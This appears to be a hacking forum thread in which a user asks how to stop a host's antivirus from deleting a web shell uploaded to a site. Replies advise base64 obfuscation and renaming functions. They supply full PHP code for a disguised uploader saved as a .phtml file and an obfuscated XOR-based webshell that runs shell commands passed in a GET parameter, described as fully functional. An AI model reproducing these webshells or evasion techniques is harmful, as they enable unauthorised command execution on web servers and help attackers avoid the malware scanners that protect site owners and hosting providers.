[messiandro]

I've tried alot of times so far to upload a shell on my own site (don't ask why -_-' ) and once I open it, 1 minute later it gets automatically deleted. Any way to stop the server from deleting it?

Thanks

[Mr8n]

the server catch shell by some code ,,
try base64

[SnoWHAX]

I've tried alot of times so far to upload a shell on my own site (don't ask why -_-' ) and once I open it, 1 minute later it gets automatically deleted. Any way to stop the server from deleting it?

Thanks

the server catch shell by some code ,,
try base64

obfuscating with base64 is great start aswell as changing name or functions sush as use passthro shell instead of a wso type shell>?

[Mr8n]

PHP Code


<?php
echo "File Uploader By Cyber iQ<br>";
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
      <input type='file' name='idx_file'>
      <input type='submit' name='upload' value='upload'>
      </form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
    if(is_writable($root)) {
        if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
            $web = "http://".$_SERVER['HTTP_HOST']."/";
            echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
        } else {
            echo "gagal upload di document root.";
        }
    } else {
        if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
            echo "sukses upload <b>$files</b> di folder ini";
        } else {
            echo "gagal upload";
        }
    }
}
?>

save it as up.phtml then upload it , and upload your shell from it

[M L T]

Incorporate non-alphanumericism

Code

<?
$_="{"; #XOR char
$_=($_^"<").($_^">;").($_^"/"); #XOR = GET
?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?> # Exec :)

that's a fully functional PHP webshell right there. You just pass commands to it via GET e.g. shell.php?cmd=;ls -al

[FCC]

A lot of shared hosting sites have an anti virus that scans the website's files for anything potentially dangerous to their server. Shells are one of the things they scan for.

[CryptoLs]

If you Google simple php she'll you'll find small shells that you can easily pass get requests through in order to execute commands, you could also obfuscate or set up a panel that isn't normally marked as a shell and work from there.